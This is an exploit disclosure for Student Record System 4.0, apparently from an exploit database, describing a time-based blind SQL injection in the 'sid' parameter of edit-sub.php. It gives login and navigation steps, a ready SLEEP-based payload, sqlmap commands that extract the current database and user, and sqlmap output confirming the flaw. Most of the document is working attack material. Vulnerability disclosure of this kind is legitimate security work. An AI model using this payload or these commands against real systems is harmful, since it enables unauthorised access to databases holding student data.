Student Record System version 4.0 suffers from multiple remote SQL injection vulnerabilities.
4fcb490e8908006bc56e441838d8a4d2# Exploit Title: Student Record System 4.0 - 'sid' SQL Injection
# Google Dork: N/A
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP
# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-subject.php
3. Click edit on any user and then add the following payload to the url
payload:' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnkL) AND 'uXEB'='uXEB
url:http://localhost/schoolmanagement/pages/edit-sub.php?sid=3' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnkL) AND 'uXEB'='uXEB
If the web server makes you wait 5 seconds then it's vulnerable
# Exploit
Now you can exploit it using sqlmap
command: sqlmap -u url --batch --dbms=mysql --current-db --current-user
example: sqlmap.py -u http://localhost/schoolmanagement/pages/edit-sub.php?sid=3 --batch --dbms=mysql --current-db --current-user
[11:27:06] [INFO] GET parameter 'sid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[11:27:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:27:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:27:08] [INFO] checking if the injection point on GET parameter 'sid' is a false positive
GET parameter 'sid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: sid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

[11:27:29] [INFO] the back-end DBMS is MySQL
[11:27:29] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
